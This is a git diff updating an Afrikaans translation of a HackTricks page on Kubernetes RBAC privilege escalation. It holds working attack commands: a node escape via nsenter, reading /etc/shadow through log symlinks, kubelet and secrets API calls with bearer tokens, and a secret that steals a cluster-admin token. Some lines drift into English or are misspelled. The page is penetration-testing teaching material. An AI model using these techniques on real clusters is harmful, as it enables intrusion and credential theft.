mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 05:03:31 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
Translator
@@ -13,11 +13,11 @@ Verwys na die kuns om **toegang te verkry tot 'n ander prinsiep** binne die klus
|
||||
- In staat wees om **te skep/patch/exec pods** waar jy **SAs kan vind of aanheg** met beter voorregte binne die kubernetes kluster of na eksterne wolke
|
||||
- In staat wees om **geheime te lees** aangesien die SAs tokens as geheime gestoor word
|
||||
- In staat wees om **te ontsnap na die node** vanaf 'n houer, waar jy al die geheime van die houers wat in die node loop, die akrediteer van die node, en die toestemmings van die node binne die wolk waarin dit loop (indien enige)
|
||||
- 'n Vyfde tegniek wat 'n vermelding werd is, is die vermoë om **port-forward** in 'n pod te **loop**, aangesien jy dalk toegang kan verkry tot interessante hulpbronne binne daardie pod.
|
||||
- 'n Vyfde tegniek wat 'n vermelding werd is, is die vermoë om **port-forward** in 'n pod te laat loop, aangesien jy dalk toegang kan verkry tot interessante hulpbronne binne daardie pod.
|
||||
|
||||
### Toegang tot Enige Hulpbron of Werkwoord (Wildcard)
|
||||
|
||||
Die **wildcard (\*) gee toestemming oor enige hulpbron met enige werkwoord**. Dit word deur admins gebruik. Binne 'n ClusterRole beteken dit dat 'n aanvaller enige namespace in die kluster kan misbruik
|
||||
Die **wildcard (\*) gee toestemming oor enige hulpbron met enige werkwoord**. Dit word deur admins gebruik. Binne 'n ClusterRole beteken dit dat 'n aanvaller enigenamespace in die kluster kan misbruik
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -33,8 +33,8 @@ verbs: ["*"]
|
||||
|
||||
In RBAC bied sekere toestemmings beduidende risiko's:
|
||||
|
||||
1. **`create`:** Gee die vermoë om enige klusterhulpbron te skep, wat die risiko van voorregverhoging inhou.
|
||||
2. **`list`:** Laat toe om alle hulpbronne te lys, wat moontlik sensitiewe data kan lek.
|
||||
1. **`create`:** Gee die vermoë om enige klusterhulpbron te skep, wat die risiko van privilige-eskalasie inhou.
|
||||
2. **`list`:** Laat die lys van alle hulpbronne toe, wat moontlik sensitiewe data kan lek.
|
||||
3. **`get`:** Laat toegang tot geheime van diensrekeninge toe, wat 'n sekuriteitsbedreiging inhou.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Skep - Steel Token
|
||||
|
||||
'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die regte te verhoog.
|
||||
'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die bevoegdhede na hom te verhoog.
|
||||
|
||||
Voorbeeld van 'n pod wat die token van die `bootstrap-signer` diensrekening sal steel en dit na die aanvaller sal stuur:
|
||||
```yaml
|
||||
@@ -78,7 +78,7 @@ Die volgende dui al die voorregte aan wat 'n houer kan hê:
|
||||
|
||||
- **Bevoorregte toegang** (deaktiveer beskermings en stel vermoëns in)
|
||||
- **Deaktiveer namespaces hostIPC en hostPid** wat kan help om voorregte te verhoog
|
||||
- **Deaktiveer hostNetwork** namespace, wat toegang gee om nodes se wolkvoorregte te steel en beter toegang tot netwerke
|
||||
- **Deaktiveer hostNetwork** namespace, wat toegang gee om nodes se wolkvoorregte te steel en beter toegang tot netwerke te verkry
|
||||
- **Monteer gashere / binne die houer**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
@@ -123,11 +123,11 @@ Een-liner van [hierdie tweet](https://twitter.com/mauilion/status/11294684854807
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Nou dat jy kan ontsnap na die node, kyk na post-exploit tegnieke in:
|
||||
Now that you can escape to the node check post-exploitation techniques in:
|
||||
|
||||
#### Stealth
|
||||
|
||||
Jy wil waarskynlik **stealthier** wees; in die volgende bladsye kan jy sien wat jy sou kon toegang kry tot as jy 'n pod skep wat slegs sommige van die genoemde voorregte in die vorige sjabloon aktiveer:
|
||||
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,24 +136,24 @@ Jy wil waarskynlik **stealthier** wees; in die volgende bladsye kan jy sien wat
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Jy kan 'n voorbeeld vind van hoe om die vorige voorregte pod konfigurasies te skep/te misbruik in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Skep - Beweeg na die wolk
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
As jy 'n **pod** (en opsioneel 'n **diensrekening**) kan **skep**, kan jy dalk **voorregte in die wolkomgewing verkry** deur **wolkrroles aan 'n pod of 'n diensrekening toe te ken** en dit dan te benader.\
|
||||
Boonop, as jy 'n **pod met die host netwerk naamruimte** kan skep, kan jy die **IAM** rol van die **node** instansie **steel**.
|
||||
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
|
||||
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### **Skep/Patch Ontplooiing, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs en Cronjobs**
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
Dit is moontlik om hierdie toestemmings te misbruik om 'n **nuwe pod** te **skep** en voorregte te verkry soos in die vorige voorbeeld.
|
||||
It's possible to abouse these permissions to **create a new pod** and estalae privileges like in the previous example.
|
||||
|
||||
Die volgende yaml **skep 'n daemonset en eksfiltreer die token van die SA** binne die pod:
|
||||
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -193,25 +193,25 @@ path: /
|
||||
|
||||
**`pods/exec`** is 'n hulpbron in kubernetes wat gebruik word om **opdragte in 'n skulp binne 'n pod te loop**. Dit maak dit moontlik om **opdragte binne die houers te loop of 'n skulp binne te kry**.
|
||||
|
||||
Daarom is dit moontlik om **binne 'n pod te kom en die token van die SA te steel**, of om 'n bevoorregte pod binne te gaan, na die node te ontsnap, en al die tokens van die pods in die node te steel en (ab) te gebruik.
|
||||
Daarom is dit moontlik om **binne 'n pod te kom en die token van die SA te steel**, of om 'n bevoorregte pod binne te gaan, na die node te ontsnap, en al die tokens van die pods in die node te steel en (ab)gebruik te maak van die node:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
### port-forward
|
||||
|
||||
Hierdie toestemming laat toe om **een plaaslike poort na een poort in die gespesifiseerde pod te stuur**. Dit is bedoel om dit maklik te maak om toepassings wat binne 'n pod loop te debugeer, maar 'n aanvaller mag dit misbruik om toegang te verkry tot interessante (soos DB's) of kwesbare toepassings (webs?) binne 'n pod:
|
||||
Hierdie toestemming laat toe om **een plaaslike poort na een poort in die gespesifiseerde pod te stuur**. Dit is bedoel om dit maklik te maak om toepassings wat binne 'n pod loop te debug, maar 'n aanvaller mag dit misbruik om toegang te verkry tot interessante (soos DB's) of kwesbare toepassings (webs?) binne 'n pod:
|
||||
```
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Gasherebare /var/log/ Ontsnapping
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
Soos [**aange dui in hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang kan verkry of 'n pod kan skep met die **hosts `/var/log/` gids gemonteer** daarop, kan jy **ontsnap uit die houer**.\
|
||||
Dit is basies omdat wanneer die **Kube-API probeer om die logs** van 'n houer te verkry (met `kubectl logs <pod>`), dit **die `0.log`** lêer van die pod aanvra deur die `/logs/` eindpunt van die **Kubelet** diens.\
|
||||
Soos [**aange dui in hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang het tot of 'n pod kan skep met die **hosts `/var/log/` gids gemonteer** daarop, kan jy **uit die houer ontsnap**.\
|
||||
Dit is basies omdat wanneer die **Kube-API probeer om die logs** van 'n houer te kry (met `kubectl logs <pod>`), dit **die `0.log`** lêer van die pod aanvra deur die `/logs/` eindpunt van die **Kubelet** diens.\
|
||||
Die Kubelet diens stel die `/logs/` eindpunt bloot wat basies net die **`/var/log` lêerstelsel van die houer** blootstel.
|
||||
|
||||
Daarom kan 'n aanvaller met **toegang om in die /var/log/ gids** van die houer te skryf, hierdie gedrag op 2 maniere misbruik:
|
||||
|
||||
- Om die `0.log` lêer van sy houer (gewoonlik geleë in `/var/logs/pods/namespace_pod_uid/container/0.log`) te wysig om 'n **symlink wat na `/etc/shadow`** wys te wees, byvoorbeeld. Dan sal jy in staat wees om die hosts se skadu lêer te onttrek deur:
|
||||
- Om die `0.log` lêer van sy houer (gewoonlik geleë in `/var/logs/pods/namespace_pod_uid/container/0.log`) te wysig om 'n **symlink wat na `/etc/shadow`** wys te wees, byvoorbeeld. Dan sal jy in staat wees om die hosts se skadu lêer te exfiltreer deur:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -219,7 +219,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- As die aanvaller enige prinsiep met die **regte om `nodes/log` te lees**, kan hy eenvoudig 'n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer hy **toegang tot `https://<gateway>:10250/logs/sym/` verkry, sal hy die gashere se wortel** lêersisteem lys (die verandering van die symlink kan toegang tot lêers bied).
|
||||
- As die aanvaller enige hoofrol met die **regte om `nodes/log` te lees**, kan hy eenvoudig 'n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer **hy toegang verkry tot `https://<gateway>:10250/logs/sym/` sal hy die gashere se wortel** lêerstelsel lys (die verandering van die symlink kan toegang tot lêers bied).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -233,13 +233,13 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
```
|
||||
**'n Laboratorium en geoutomatiseerde eksploit kan gevind word in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Om die readOnly beskerming te omseil <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Om te verbygaan readOnly beskerming <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
As jy gelukkig genoeg is en die hoogs bevoorregte vermoë `CAP_SYS_ADMIN` beskikbaar is, kan jy net die gids weer as rw monteer:
|
||||
As jy gelukkig genoeg is en die hoogs bevoorregte vermoë `CAP_SYS_ADMIN` beskikbaar is, kan jy net die gids as rw hermonteer:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Om hostPath readOnly beskerming te omseil <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Bypass van hostPath readOnly beskerming <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Soos vermeld in [**hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) is dit moontlik om die beskerming te omseil:
|
||||
```yaml
|
||||
@@ -247,7 +247,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Wat bedoel was om ontsnappings soos die vorige te voorkom deur, in plaas van 'n hostPath-mount, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n gasheer se gids in die houer met skryfbare toegang te monteer:
|
||||
Wat bedoel was om ontsnapings soos die vorige te voorkom deur, in plaas van 'n hostPath-mount te gebruik, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n gasheer se gids in die houer met skryftoegang te monteer:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -293,11 +293,11 @@ volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **Vervalsing van bevoorregte rekeninge**
|
||||
### **Impersonering van bevoorregte rekeninge**
|
||||
|
||||
Met 'n [**gebruikersvervalsing**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) voorreg, kan 'n aanvaller 'n bevoorregte rekening vervals.
|
||||
Met 'n [**gebruikersimpersonering**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) voorreg, kan 'n aanvaller 'n bevoorregte rekening impersoner.
|
||||
|
||||
Gebruik eenvoudig die parameter `--as=<username>` in die `kubectl` opdrag om 'n gebruiker te vervals, of `--as-group=<group>` om 'n groep te vervals:
|
||||
Gebruik eenvoudig die parameter `--as=<username>` in die `kubectl` opdrag om 'n gebruiker te impersoner, of `--as-group=<group>` om 'n groep te impersoner:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -312,17 +312,81 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Lys van Geheime
|
||||
|
||||
Die toestemming om **geheime te lys kan 'n aanvaller in staat stel om werklik die geheime te lees** deur toegang te verkry tot die REST API eindpunt:
|
||||
Die toestemming om **geheime te lys kan 'n aanvaller in staat stel om werklik die geheime te lees** deur toegang te verkry tot die REST API-eindpunt:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Skep en Lees Geheimen
|
||||
|
||||
Daar is 'n spesiale soort Kubernetes geheim van tipe **kubernetes.io/service-account-token** wat serviceaccount tokens stoor.
|
||||
As jy toestemmings het om geheimen te skep en te lees, en jy weet ook die serviceaccount se naam, kan jy 'n geheim soos volg skep en dan die slagoffer se serviceaccount token daaruit steel:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: stolen-admin-sa-token
|
||||
namespace: default
|
||||
annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Voorbeeld uitbuiting:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
|
||||
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
|
||||
Resources Non-Resource URLs Resource Names Verbs
|
||||
selfsubjectreviews.authentication.k8s.io [] [] [create]
|
||||
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
|
||||
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
|
||||
secrets [] [] [get create]
|
||||
[/.well-known/openid-configuration/] [] [get]
|
||||
<SNIP>
|
||||
[/version] [] [get]
|
||||
|
||||
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
|
||||
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
|
||||
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
|
||||
secret/stolen-admin-sa-token created
|
||||
|
||||
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
|
||||
{
|
||||
"apiVersion": "v1",
|
||||
"data": {
|
||||
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
|
||||
"namespace": "ZGVmYXVsdA==",
|
||||
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
|
||||
},
|
||||
"kind": "Secret",
|
||||
"metadata": {
|
||||
"annotations": {
|
||||
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
|
||||
"kubernetes.io/service-account.name": "cluster-admin-sa",
|
||||
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
|
||||
},
|
||||
"creationTimestamp": "2025-01-11T13:02:27Z",
|
||||
"name": "stolen-admin-sa-token",
|
||||
"namespace": "default",
|
||||
"resourceVersion": "1019116",
|
||||
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
|
||||
},
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Let daarop dat as jy toegelaat word om geheime in 'n sekere naamruimte te skep en te lees, die slagoffer diensrekening ook in daardie naamruimte moet wees.
|
||||
|
||||
### Lees 'n geheim – brute-forcing token ID's
|
||||
|
||||
Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, in teenstelling met die breër _**lys van geheime**_ voorreg, is daar steeds kwesbaarhede. Standaarddiensrekeninge in die stelsel kan opgenoem word, elk geassosieer met 'n geheim. Hierdie geheime het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n ewekansige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die [bronkode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, in teenstelling met die breër _**lys geheime**_ voorreg, is daar steeds kwesbaarhede. Standaard diensrekeninge in die stelsel kan opgenoem word, elk geassosieer met 'n geheim. Hierdie geheime het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n ewekansige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die [bronkode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Die token word gegenereer uit 'n beperkte 27-karakter stel (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan 'n aanvaller haalbaar 'n brute-force aanval uitvoer om die token binne 'n paar uur te deduseer, wat moontlik kan lei tot voorregverhoging deur toegang tot sensitiewe diensrekeninge.
|
||||
Die token word gegenereer uit 'n beperkte 27-karakter stel (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan 'n aanvaller haalbaar 'n brute-force aanval uitvoer om die token binne 'n paar uur af te lei, wat moontlik kan lei tot voorregverhoging deur toegang tot sensitiewe diensrekeninge.
|
||||
|
||||
### Sertifikaatondertekening Versoeke
|
||||
### Sertifikaat Handtekening Versoeke
|
||||
|
||||
As jy die werkwoorde **`create`** in die hulpbron `certificatesigningrequests` (of ten minste in `certificatesigningrequests/nodeClient`) het. Jy kan **create** 'n nuwe CeSR van 'n **nuwe node.**
|
||||
|
||||
@@ -414,7 +478,7 @@ groups:
|
||||
> Jy kan **`aws-auth`** gebruik vir **volharding** om toegang te gee aan gebruikers van **ander rekeninge**.
|
||||
>
|
||||
> egter, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **werk nie vanaf 'n ander rekening nie**. Maar eintlik werk `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` as jy die ARN van die kluster in plaas van net die naam sit.\
|
||||
> Om `kubectl` te laat werk, maak net seker om die **slagoffers se kubeconfig** te **konfigureer** en voeg in die aws exec args `--profile other_account_role` sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak.
|
||||
> Om `kubectl` te laat werk, maak net seker om die **slagoffers kubeconfig** te **konfigureer** en voeg in die aws exec args `--profile other_account_role` sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak.
|
||||
|
||||
### Escalating in GKE
|
||||
|
||||
@@ -430,7 +494,7 @@ Dan is die eerste metode om **GCP IAM** te gebruik, die K8s toestemmings het hul
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Die tweede metode is om **K8s toestemmings binne die kluster toe te ken** deur die gebruiker te identifiseer per sy **e-pos** (GCP diensrekeninge ingesluit).
|
||||
Die tweede metode is om **K8s toestemmings binne die kluster toe te ken** deur die gebruiker te identifiseer deur sy **e-pos** (GCP diensrekeninge ingesluit).
|
||||
|
||||
### Create serviceaccounts token
|
||||
|
||||
@@ -444,26 +508,26 @@ Prinsipes wat **`update`** of **`patch`** **`pods/ephemeralcontainers`** kan **k
|
||||
|
||||
Prinsipes met enige van die werkwoorde `create`, `update` of `patch` oor `validatingwebhookconfigurations` of `mutatingwebhookconfigurations` mag in staat wees om **een van sulke webhookconfigurations te skep** om in staat te wees om **toestemmings te verhoog**.
|
||||
|
||||
Vir 'n [`mutatingwebhookconfigurations` voorbeeld kyk hierdie afdeling van hierdie pos](./#malicious-admission-controller).
|
||||
Vir 'n [`mutatingwebhookconfigurations` voorbeeld kyk hierdie afdeling van hierdie pos](#malicious-admission-controller).
|
||||
|
||||
### Escalate
|
||||
|
||||
Soos jy in die volgende afdeling kan lees: [**Built-in Privileged Escalation Prevention**](./#built-in-privileged-escalation-prevention), kan 'n prinsiep nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het.\
|
||||
Soos jy in die volgende afdeling kan lees: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), kan 'n prinsiep nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het.\
|
||||
Dan kan hy nuwe rolle, clusterroles met beter toestemmings as diegene wat hy het, opdateer/skep.
|
||||
|
||||
### Nodes proxy
|
||||
|
||||
Prinsipes met toegang tot die **`nodes/proxy`** subbron kan **kode op pods uitvoer** via die Kubelet API (volgens [**dit**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet-authentisering op hierdie bladsy:
|
||||
Prinsipes met toegang tot die **`nodes/proxy`** subbron kan **kode uitvoer op pods** via die Kubelet API (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet-authentisering op hierdie bladsy:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
Jy het 'n voorbeeld van hoe om [**RCE te kry deur geautoriseerd met 'n Kubelet API te praat hier**](../pentesting-kubernetes-services/#kubelet-rce).
|
||||
Jy het 'n voorbeeld van hoe om [**RCE te kry deur met 'n Kubelet API te praat hier**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||
|
||||
### Delete pods + unschedulable nodes
|
||||
|
||||
Prinsipes wat **pods kan verwyder** (`delete` werkwoord oor `pods` hulpbron), of **pods kan verplaas** (`create` werkwoord oor `pods/eviction` hulpbron), of **podstatus kan verander** (toegang tot `pods/status`) en kan **ander nodes ongeskeduleer maak** (toegang tot `nodes/status`) of **nodes verwyder** (`delete` werkwoord oor `nodes` hulpbron) en beheer oor 'n pod het, kan **pods van ander nodes steel** sodat hulle in die **gekompromitteerde** **node** uitgevoer word en die aanvaller kan **die tokens** van daardie pods **steel**.
|
||||
Prinsipes wat **pods kan verwyder** (`delete` werkwoord oor `pods` hulpbron), of **pods kan verplaas** (`create` werkwoord oor `pods/eviction` hulpbron), of **podstatus kan verander** (toegang tot `pods/status`) en kan **ander nodes ongeskeduleer maak** (toegang tot `nodes/status`) of **nodes kan verwyder** (`delete` werkwoord oor `nodes` hulpbron) en beheer oor 'n pod het, kan **pods van ander nodes steel** sodat hulle in die **gekompromitteerde** **node** uitgevoer word en die aanvaller kan **die tokens** van daardie pods **steel**.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -476,7 +540,7 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Dienste status (CVE-2020-8554)
|
||||
|
||||
Beginsels wat **modifiseer** **`services/status`** kan die `status.loadBalancer.ingress.ip` veld stel om die **onopgeloste CVE-2020-8554** te misbruik en **MiTM-aanvalle teen die kluster** te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Beginsels wat **modifiseer** **`services/status`** kan die `status.loadBalancer.ingress.ip` veld stel om die **onopgeloste CVE-2020-8554** te benut en **MiTM-aanvalle teen die kluster** te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Nodes en Pods status
|
||||
|
||||
@@ -488,7 +552,7 @@ Kubernetes het 'n [ingeboude meganisme](https://kubernetes.io/docs/reference/acc
|
||||
|
||||
Hierdie stelsel verseker dat **gebruikers nie hul voorregte kan verhoog deur rolle of rolbindings te modifiseer**. Die afdwinging van hierdie reël vind op die API-vlak plaas, wat 'n beskerming bied selfs wanneer die RBAC-outeur inaktief is.
|
||||
|
||||
Die reël stipuleer dat 'n **gebruiker slegs 'n rol kan skep of opdateer as hulle al die toestemmings het wat die rol insluit**. Boonop moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met dié van die rol wat hulle probeer skep of modifiseer: of cluster-wyd vir ClusterRoles of beperk tot dieselfde naamruimte (of cluster-wyd) vir Roles.
|
||||
Die reël stipuleer dat 'n **gebruiker slegs 'n rol kan skep of opdateer as hulle al die toestemmings het wat die rol insluit**. Boonop moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met dié van die rol wat hulle probeer skep of modifiseer: of dit kluster-wyd vir ClusterRoles of beperk tot dieselfde naamruimte (of kluster-wyd) vir Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> Daar is 'n uitsondering op die vorige reël. As 'n beginsel die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het, kan hy die voorregte van rolle en clusterroles verhoog selfs sonder om die toestemmings self te hê.
|
||||
@@ -498,7 +562,7 @@ Die reël stipuleer dat 'n **gebruiker slegs 'n rol kan skep of opdateer as hull
|
||||
> [!CAUTION]
|
||||
> **Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie 'n rolebinding skep/modifiseer om jouself of 'n ander SA sekere voorregte te gee as jy dit nie reeds het nie.**
|
||||
|
||||
Die voorreg om Rolebindings te skep, laat 'n gebruiker toe om **rolle aan 'n diensrekening te bind**. Hierdie voorreg kan potensieel lei tot privilege escalasie omdat dit **die gebruiker toelaat om admin voorregte aan 'n gecompromitteerde diensrekening te bind.**
|
||||
Die voorreg om Rolebindings te skep, laat 'n gebruiker toe om **rolle aan 'n diensrekening te bind**. Hierdie voorreg kan potensieel lei tot voorregte escalasie omdat dit **die gebruiker toelaat om administratiewe voorregte aan 'n gecompromitteerde diensrekening te bind.**
|
||||
|
||||
## Ander Aanvalle
|
||||
|
||||
